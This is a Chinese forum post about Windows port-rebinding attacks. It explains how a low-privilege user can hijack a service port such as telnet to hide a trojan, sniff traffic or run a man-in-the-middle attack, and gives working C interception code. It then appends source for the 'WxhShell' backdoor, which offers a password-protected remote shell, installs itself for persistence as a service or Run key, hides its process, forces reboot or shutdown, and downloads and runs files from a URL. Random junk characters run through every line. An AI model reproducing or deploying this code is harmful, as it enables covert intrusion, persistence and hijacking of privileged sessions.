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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NrvS/ cI!t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +ZXGT  
c : *wev  
  saddr.sin_family = AF_INET; BN4dr9T  
ZNB*Azi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,WOF)   
:kZ2N67  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z@y* jT  
=Ak>2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MbnV5b:X  
~s^&*KaA  
  这意味着什么?意味着可以进行如下的攻击: f Jv 0 B*  
},a|WL3^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J=K3S9:n]g  
Cw{#(xX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6X|KKsPzX  
=< CH(4!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8KWT d  
6lT'%ho}B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hQGZrZK#  
6%S>~L66  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bT{P1nUu  
>4EcV1y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r.ajw&J2  
q=?"0i&V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 He!0&B\7h  
#gN{8Yk>  
  #include dN*<dz+4r  
  #include #-lk=>  
  #include T[Gz  
  #include    oub4/0tN,~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y6N+,FAk+J  
  int main() >a4Bfnf"eI  
  { SbI,9<  
  WORD wVersionRequested; S'@"a%EV  
  DWORD ret; 2PeI+!7s  
  WSADATA wsaData; $!vi:+ED  
  BOOL val; moo>~F _^  
  SOCKADDR_IN saddr; @pS[_!EqYz  
  SOCKADDR_IN scaddr; X r)d;@yi  
  int err; gRqz8UI  
  SOCKET s; ^#t<ILUa  
  SOCKET sc; G/ ^|oJ/G  
  int caddsize; L+kS8D<  
  HANDLE mt; T]zjJwa  
  DWORD tid;   G? _,(  
  wVersionRequested = MAKEWORD( 2, 2 ); ,pG63&?j  
  err = WSAStartup( wVersionRequested, &wsaData ); 'Qfy+_0  
  if ( err != 0 ) { $?GO|.59  
  printf("error!WSAStartup failed!\n"); ~ dk1fh  
  return -1; , XR8qi~  
  } iGlZFA  
  saddr.sin_family = AF_INET; f 0#V^[%Q  
   DtN6.9H2`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nc{ <v  
5.E 2fX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7U7 i2 4  
  saddr.sin_port = htons(23); E,$uN w']  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g!8lW   
  { syfR5wc  
  printf("error!socket failed!\n"); NEH$&%OV?  
  return -1; N{yZk"fq:6  
  } 8UcT? Zp  
  val = TRUE; ?C{N0?[P-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 # 0 (\s@r.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TK>}$.c%+  
  { T{M:)}V  
  printf("error!setsockopt failed!\n"); pp`U]Q5"gX  
  return -1; a+i+#*8wm  
  } mx4*zj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 463dLEd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BSf"'0I&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qh 3f  
F)w83[5_d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T1&H!  
  { CQ[-Cp7  
  ret=GetLastError(); "!?bC#d#(  
  printf("error!bind failed!\n"); AlxS?f2w  
  return -1; U8KY/!XZ  
  } F! e`i-xt  
  listen(s,2); ^'4uTbxP_!  
  while(1) ;gnr\C*G  
  { S/;Y4o  
  caddsize = sizeof(scaddr); zY+Et.lg]^  
  //接受连接请求 EYG E#C; d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gf\_WNrSE+  
  if(sc!=INVALID_SOCKET) v!xrUyN~m  
  { dDbC0} x/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bicL %I2h  
  if(mt==NULL) {Xd5e@:Js  
  { I+t38 un%  
  printf("Thread Creat Failed!\n"); C>dJ:.K%H  
  break; z]AS@}wWqg  
  } %ko 8P  
  } 8v 1%H8  
  CloseHandle(mt); EIQy?ig86  
  } dRa<,@1"  
  closesocket(s); m4>o E|\  
  WSACleanup(); &X,)+ b=  
  return 0; y03a\K5[KQ  
  }   D  .R  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'LLx$y.Ei[  
  { UO<claV  
  SOCKET ss = (SOCKET)lpParam; c[lob{,  
  SOCKET sc; Qmx~_  
  unsigned char buf[4096]; [F[<2{FQF  
  SOCKADDR_IN saddr; L"6/"L  
  long num; \<x_96jt!\  
  DWORD val; <" l;l~Y1  
  DWORD ret; t>@3RBEK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _hL4@ C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]u ~Fn2  
  saddr.sin_family = AF_INET; *js$r+4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w!w _`7[  
  saddr.sin_port = htons(23); R bc2g"]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hcc-J)=m  
  { 6ilC#yyp  
  printf("error!socket failed!\n"); T4Gw\Z%  
  return -1; V^/^OR4k  
  } 7"NJraQ6  
  val = 100; wK`ieHmp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Is6 _  
  { [pFu ] ^X  
  ret = GetLastError(); _JIUds5  
  return -1; UMi`u6#  
  } 't?7.#,6O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f3>6:(  
  { /A))"D  
  ret = GetLastError(); : tqm2t  
  return -1; zpr@!76  
  } B"Kce"!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zM r!WoW  
  { =>z tBw\  
  printf("error!socket connect failed!\n"); :htq%gPex9  
  closesocket(sc); T\ }v$A03  
  closesocket(ss); sqpOS!]  
  return -1; !+DJhw&c,  
  } +=~%S)9F  
  while(1) [aM'  
  { X*9N[#wu6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l*\~ew   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d O46~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H~dHVQtJZ  
  num = recv(ss,buf,4096,0); 9+8!xwR:  
  if(num>0) )x8;.@U  
  send(sc,buf,num,0); sId(PT^  
  else if(num==0) %X"m/4c8}  
  break; z1'FmwT  
  num = recv(sc,buf,4096,0); 6(J4IzZ  
  if(num>0) T<f\*1~^  
  send(ss,buf,num,0); 7.e7Fi{  
  else if(num==0) %t`SSW7I  
  break; B&i0j5L  
  } Q1nDl  
  closesocket(ss); a\{1UD  
  closesocket(sc); %nmY:}um  
  return 0 ; y5/'!L)g  
  } R{) Q1~H=q  
) Kc%8hBv  
MZ5Y\-nq\  
========================================================== rXY;m-  
.5Knbc  
下边附上一个代码,,WXhSHELL nJleef9  
^.D}k  
========================================================== ^IVe[P'  
ZMoJ#p(  
#include "stdafx.h" @q&|MMLt  
2f|6z- Z  
#include <stdio.h> % Cu.u)/+  
#include <string.h> wy{\/?~c  
#include <windows.h> U!c]_q  
#include <winsock2.h> B f5&}2u  
#include <winsvc.h> d /B'[Ur  
#include <urlmon.h> dh^+l;!L  
2'wr={>W  
#pragma comment (lib, "Ws2_32.lib") |1(rr%  
#pragma comment (lib, "urlmon.lib") {J~(#i k   
g .x=pt  
#define MAX_USER   100 // 最大客户端连接数 a-]hW=[  
#define BUF_SOCK   200 // sock buffer N%9h~G  
#define KEY_BUFF   255 // 输入 buffer r8uqcKfU  
)n7|?@5U  
#define REBOOT     0   // 重启 8p (!]^z  
#define SHUTDOWN   1   // 关机 fyI_  
UvkJ?Bu  
#define DEF_PORT   5000 // 监听端口 07x=`7hs}  
h|bqyu  
#define REG_LEN     16   // 注册表键长度 9~@<-6jE3b  
#define SVC_LEN     80   // NT服务名长度 S|"Fgoj r  
*FV0Vy  
// 从dll定义API 7zD- ?%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Hv;<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); coDj L.u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hu[]h]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xE%O:a?S  
n`]l^qE  
// wxhshell配置信息 ?>sQF4 V"  
struct WSCFG { Bg-VCJI<  
  int ws_port;         // 监听端口 MDk*j,5V  
  char ws_passstr[REG_LEN]; // 口令 Vo%Yf9C  
  int ws_autoins;       // 安装标记, 1=yes 0=no !g8*r"[UJ  
  char ws_regname[REG_LEN]; // 注册表键名 [*Q-nZ/L  
  char ws_svcname[REG_LEN]; // 服务名 UxyY<H~Wx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y;} 2'"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @r F/]UJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RcQ>eZHl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~;[&K%n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rJ DnuR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eK'wVg#  
_?.\Xc  
}; iNQ0p:<k  
m%pBXXfGYj  
// default Wxhshell configuration Ox^:)ii  
struct WSCFG wscfg={DEF_PORT, p #bhz5&/  
    "xuhuanlingzhe", i X%[YQ |  
    1, g5y;?fqJ  
    "Wxhshell", r'p =`2=  
    "Wxhshell", B oqJ   
            "WxhShell Service", Vv8_\^g]  
    "Wrsky Windows CmdShell Service", Ea4_Qmn  
    "Please Input Your Password: ", D{cZxI  
  1, Rn-G @}f  
  "http://www.wrsky.com/wxhshell.exe", t,h{+lYU  
  "Wxhshell.exe" wz#A1F  
    }; Ql &0O27  
\0ov[T N.>  
// 消息定义模块 R"3 M[^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7)^:8I(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ` H XEZ|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vc8?I."?  
char *msg_ws_ext="\n\rExit."; PK 4`5uT  
char *msg_ws_end="\n\rQuit."; ?gSSli[  
char *msg_ws_boot="\n\rReboot..."; +}a C-&  
char *msg_ws_poff="\n\rShutdown..."; D. Kqc  
char *msg_ws_down="\n\rSave to "; 0/ !,Dn  
J[@um:  
char *msg_ws_err="\n\rErr!"; Cqx v"NN  
char *msg_ws_ok="\n\rOK!"; JYm7@gx  
UXH"si:  
char ExeFile[MAX_PATH]; 8uch i  
int nUser = 0; L9FHgl?  
HANDLE handles[MAX_USER]; he$XLTmr:  
int OsIsNt; }T.?c9l X  
J!TBREK  
SERVICE_STATUS       serviceStatus; KrcgIB8X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A}5fCx.{  
iiG f'@/  
// 函数声明 1A<,TFg  
int Install(void); ;o-yQmdh  
int Uninstall(void); gSt`%  
int DownloadFile(char *sURL, SOCKET wsh); A8DFm{})c  
int Boot(int flag); ,v9f~qh  
void HideProc(void); z@Hp,|Vy[  
int GetOsVer(void); =f1B,%7G+5  
int Wxhshell(SOCKET wsl); T vtm`Yk\  
void TalkWithClient(void *cs); Bs ;|D  
int CmdShell(SOCKET sock); bb-qO#E  
int StartFromService(void); Vj?DA5W`'  
int StartWxhshell(LPSTR lpCmdLine); xV\5<7qk5g  
a%vrt)Gx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :5fAPK2r<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +q<B.XxkA  
fc_2D|  
// 数据结构和表定义 fJAnKUF)  
SERVICE_TABLE_ENTRY DispatchTable[] = MXD4|r(  
{ k1 -~  
{wscfg.ws_svcname, NTServiceMain},  #^#HuDH  
{NULL, NULL} qk/:A+  
}; 2aN<w'pA  
;gg\;i}^  
// 自我安装 K(}AX+rIg  
int Install(void) 1.<q3q  
{ E#wS_[  
  char svExeFile[MAX_PATH]; I@#;nyAj"  
  HKEY key; LOy0hN-$b  
  strcpy(svExeFile,ExeFile); q`NXJf=sc  
Hu3wdq  
// 如果是win9x系统,修改注册表设为自启动 b</9Ai=  
if(!OsIsNt) { vmTs9"ujF,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W,^W^:m-x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SMH<'F7i  
  RegCloseKey(key); VZ& A%UFC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !TM*o+;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _5 ^I.5Z3  
  RegCloseKey(key); \%Ves@hG>  
  return 0; :r#)z4d5  
    } d[p;T\?"  
  } Q6gt+FKU9  
} ".^VI2T  
else { b$ %0.s  
,GWNL m\5  
// 如果是NT以上系统,安装为系统服务 ;W>Cqg=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "tjLc6Xl^  
if (schSCManager!=0) tE6!+c<7  
{ 6DG@?O  
  SC_HANDLE schService = CreateService O,aS`u &  
  ( n Ox4<Wk&  
  schSCManager, .itw04Uru  
  wscfg.ws_svcname, H~ZV *[A`  
  wscfg.ws_svcdisp, 2(5ebe[  
  SERVICE_ALL_ACCESS, n  -(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'lHdOG  
  SERVICE_AUTO_START, s .Wdxh  
  SERVICE_ERROR_NORMAL,  w 4[{2  
  svExeFile, 8-<:i  
  NULL, qC F5~;7  
  NULL, O G<,- 7  
  NULL, C8FB:JNJV  
  NULL, (/35p g6\  
  NULL  V#VN %{  
  ); &0f5:M{P  
  if (schService!=0) 8@so"d2e  
  { Zd"^</ S  
  CloseServiceHandle(schService); RKPO#qju\F  
  CloseServiceHandle(schSCManager); 6@DF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]_N|L|]M  
  strcat(svExeFile,wscfg.ws_svcname); vWAL^?HUP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "DYJ21Ut4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N-lkYL-%\j  
  RegCloseKey(key); ]U"94S U:)  
  return 0; 13taFV dU  
    } 1GzAG;UUo6  
  } 6Ybg^0m  
  CloseServiceHandle(schSCManager); x7O-Y~[2  
} |\pbir  
} !qG7V:6  
1I:+MBGin  
return 1; :OuA)f  
} ]\|VpIg  
yqPdl1{Qr=  
// 自我卸载 u?C#4  
int Uninstall(void) WlU0:(d  
{ Zu7)gf  
  HKEY key; .[_L=_.  
vam;4vyu  
if(!OsIsNt) { ?` ?)QE8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m;,N)<~  
  RegDeleteValue(key,wscfg.ws_regname); 7j-4TY~  
  RegCloseKey(key);  qi^7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;0Tx-8l  
  RegDeleteValue(key,wscfg.ws_regname); {e 14[0U-  
  RegCloseKey(key); tS6qWtE  
  return 0; F1yqxWHeo  
  } " )1V]}+m  
} p^w;kN  
} @u6B;)'l  
else { t7aefV&_,  
2fL;-\!y(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %iQD /iT5  
if (schSCManager!=0) 1n;0?MIZ  
{ \| 8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .[ICx  
  if (schService!=0) .(cw>7e3D  
  { I=`U7Bis"  
  if(DeleteService(schService)!=0) { )6Fok3u  
  CloseServiceHandle(schService); p$] 3'jw  
  CloseServiceHandle(schSCManager); b gK}-EU  
  return 0; zBzZxK>$  
  } n-tgX?1'  
  CloseServiceHandle(schService); +V{kb<P  
  } kaVxT_  
  CloseServiceHandle(schSCManager); |v 3T!  
} I 5^!y  
} t.i 8 2Q  
tEvut=k'  
return 1; 12b(A+M   
} "#2a8#  
mn"G_I  
// 从指定url下载文件 0ypNUG}   
int DownloadFile(char *sURL, SOCKET wsh) kTOzSiq  
{ f<d`B]$(  
  HRESULT hr; - M4J JV(  
char seps[]= "/"; *av<E  
char *token; /NI;P]s.  
char *file; Z&+ g;(g  
char myURL[MAX_PATH]; On9A U:\  
char myFILE[MAX_PATH]; 2*;~S4 4  
3nO]Ge"w'n  
strcpy(myURL,sURL); $w`x vX  
  token=strtok(myURL,seps); KOk4^#h@  
  while(token!=NULL) l*Gvf_UH  
  { K7_UP&`=J  
    file=token;  MzdV2.  
  token=strtok(NULL,seps); /L g)i\R;  
  } qZ}^;)a^  
xX&+WR  
GetCurrentDirectory(MAX_PATH,myFILE); n,y ZRY  
strcat(myFILE, "\\"); tTl%oN8Qw  
strcat(myFILE, file); %D{6[8  
  send(wsh,myFILE,strlen(myFILE),0); $Vg>I>i  
send(wsh,"...",3,0); C_}]`[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  ~d.Y&b  
  if(hr==S_OK) {BN#h[#B{  
return 0; :D5Rlfj  
else `,<BCu  
return 1; e'NJnPO  
gh]cXuph  
} lfow1WRF  
Z"xvh81P  
// 系统电源模块 =4YhG;%  
int Boot(int flag) 03X1d-  
{ Naf0)3q>!  
  HANDLE hToken; -=Q*Ml#I  
  TOKEN_PRIVILEGES tkp; >1Ibc=}g  
eF$x1|  
  if(OsIsNt) { F v2-(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [q[Y~1o/&H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Czu9o;xr  
    tkp.PrivilegeCount = 1; ydA8wL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rglXs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p8O2Z? \  
if(flag==REBOOT) { ?);v`]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7>%8eEc  
  return 0; g*_&  
} /$?}Y L,  
else { A?P_DA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UB@+c k  
  return 0; F^;ez/Gl  
} 14yv$,  
  } "ze|W\Bv!  
  else { db7B^|Di  
if(flag==REBOOT) { {4Cmu;u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '-~~-}= sJ  
  return 0; $%#!bV  
} m-#2n? z-  
else { c-5)QF) z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e*NnVys  
  return 0; YNF k  
} 5U$0F$BBp  
} )3EY;  
W^l-Y %a/o  
return 1; `d}2O%P  
} 2c*GuF9(0  
NC(~l  
// win9x进程隐藏模块 b8 likP"T  
void HideProc(void) D'Q\za  
{ ZUd-<y  
u'BaKWPS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [{,1=AB  
  if ( hKernel != NULL ) VMWf>ZU  
  { y}|s&4Sq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]}Yl7/gM1}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J)-x!y>  
    FreeLibrary(hKernel); $=4QO  
  } /%^#8<=|U  
N~'c_l  
return; +6+i!Sip  
} E7hY8#G  
"^GGac.  
// 获取操作系统版本 utV_W&  
int GetOsVer(void) UkFC~17P  
{ Qo|\-y-#  
  OSVERSIONINFO winfo; k!Y, 63V=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X^jfuA  
  GetVersionEx(&winfo); )8ZH-|N`!E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AA>P`C$&M  
  return 1; [Y`W  
  else 493*{  
  return 0; hM! a_'  
} d&>^&>?$zh  
cFXp  
// 客户端句柄模块 B%68\  
int Wxhshell(SOCKET wsl) ftSW (og  
{ qf-8<{T  
  SOCKET wsh; -mh3DhJ,  
  struct sockaddr_in client; M"L=L5OH-  
  DWORD myID; xoME9u0x4  
r9XZ(0/p  
  while(nUser<MAX_USER) 1xvu<|F  
{ 2~[juWbz  
  int nSize=sizeof(client); kq-) ^,{y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B33\?Yj)  
  if(wsh==INVALID_SOCKET) return 1; C,eu9wOT  
R.3q0yZ wF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); # f\rt   
if(handles[nUser]==0) %z$#6?OK^  
  closesocket(wsh); 5mR 1@  
else 1\.pMHv/  
  nUser++; h2QmQ>y"  
  } 0*v2y*2V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cz$2R  
:23P!^Y  
  return 0; 5lum$5  
} Y4YJJYvD  
{4PwLCy  
// 关闭 socket !n%j)`0M  
void CloseIt(SOCKET wsh) 2&5K. Ui%  
{ ji= "DYtL  
closesocket(wsh); A=>u 1h69  
nUser--; X wtqi@zlE  
ExitThread(0); [-x7_=E#  
} `H+ lPM66  
Z30A{6}  
// 客户端请求句柄 ")25 qZae  
void TalkWithClient(void *cs)  AOx[  
{ t`QENXA}  
P'rb%W  
  SOCKET wsh=(SOCKET)cs; ~QVH<`sn  
  char pwd[SVC_LEN]; z?//rXuO  
  char cmd[KEY_BUFF]; Z6m)tZVM  
char chr[1]; b`_Q8 J  
int i,j; ,z?':TZ  
,u!sjx  
  while (nUser < MAX_USER) { R}ecc  
~)'k 9?0  
if(wscfg.ws_passstr) { c[e}w+ uB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i6N',&jFU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .|=\z9_7S8  
  //ZeroMemory(pwd,KEY_BUFF); . ]M"# \  
      i=0; WPDyu.QD  
  while(i<SVC_LEN) { .p$(ZH =~  
E)3NxmM#  
  // 设置超时 (iGTACoF  
  fd_set FdRead; 2+O'9F_v  
  struct timeval TimeOut; O'~+_ykTl  
  FD_ZERO(&FdRead); r_.S>]  
  FD_SET(wsh,&FdRead); SY8C4vb'h  
  TimeOut.tv_sec=8; F5#YOck&,  
  TimeOut.tv_usec=0; P>6{&(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GJUL$9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =":,.Ttq41  
::F|8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :i7;w%B  
  pwd=chr[0]; GH xp7H  
  if(chr[0]==0xd || chr[0]==0xa) { yppo6HGD  
  pwd=0; 5M_H NWi4  
  break; #D|p2L$  
  } Xx(T">]vJ  
  i++; *9i{,I@  
    } ]:\dPw`A  
KY N0  
  // 如果是非法用户,关闭 socket %PJQ%~ A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q3SS/eNP  
} K4);HJ|=  
bYPKh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .>nRzgo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ],v=]+R  
y)gKxRaCS  
while(1) { 4'Zp-k?5`  
 rXU\  
  ZeroMemory(cmd,KEY_BUFF); Xs?o{]Fe  
@OHm#`~  
      // 自动支持客户端 telnet标准   {qMIGwu  
  j=0; _/K_[w 1  
  while(j<KEY_BUFF) { .6'qoo_N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NN`uI6=  
  cmd[j]=chr[0]; O0y_Lm\  
  if(chr[0]==0xa || chr[0]==0xd) { 0K2`-mL  
  cmd[j]=0; xZv#Es%#  
  break; N8FF3}> g  
  } #lW`{i  
  j++; &JI8]JmU)  
    } 6i~WcAs  
|H+Wed|  
  // 下载文件 680o)hh4m>  
  if(strstr(cmd,"http://")) { \K!VNB>h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \;"=QmRD%:  
  if(DownloadFile(cmd,wsh)) u-5{U-^_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /~f'}]W  
  else igR";OQk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ilx)*Y  
  } J S_]FsxD  
  else { 0s2v'A[\  
<yFu*(Q  
    switch(cmd[0]) { `lt"[K<  
  X(-4<B  
  // 帮助 J6FV]Gpv  
  case '?': { r|Tcfk]%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8eHyL  
    break; 3x'|]Ns  
  } X*@dj_,  
  // 安装 r #cGop]  
  case 'i': { hNmJ!Uo  
    if(Install()) g~A`N=r;h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P! #[mio  
    else I75DUJqy]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -0x #  
    break; oHn Ky[1  
    } SmSH2m-  
  // 卸载 6.nCV 0xA  
  case 'r': { <+vw@M  
    if(Uninstall()) [;) ,\\u,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9H`XeQ.  
    else GH:jH]u!V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \$T(t/$9  
    break; Doyx[zZ  
    } U7}yi$WT  
  // 显示 wxhshell 所在路径 GqaCj^2f  
  case 'p': { j0evq+  
    char svExeFile[MAX_PATH]; zFff`]^`  
    strcpy(svExeFile,"\n\r"); EC!02S  
      strcat(svExeFile,ExeFile); 9u}Hmb  
        send(wsh,svExeFile,strlen(svExeFile),0); a>I+]`g  
    break; ex (.=X 1  
    } f=gW]x7'R+  
  // 重启 k(7&N0V%zz  
  case 'b': { .P%bkD6M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F]]]y5t  
    if(Boot(REBOOT)) =O_4|7Zl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VfC<WVYiZ  
    else { ][h%UrV  
    closesocket(wsh); &LZn FR  
    ExitThread(0); s.N/2F& *W  
    } q{I%Q)t)gU  
    break; Ed,~1GanY  
    } YPK(be_|I  
  // 关机 >xYpNtEs  
  case 'd': { C>j@,G4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "ZoRZ'i  
    if(Boot(SHUTDOWN)) }mq6]ZrK  
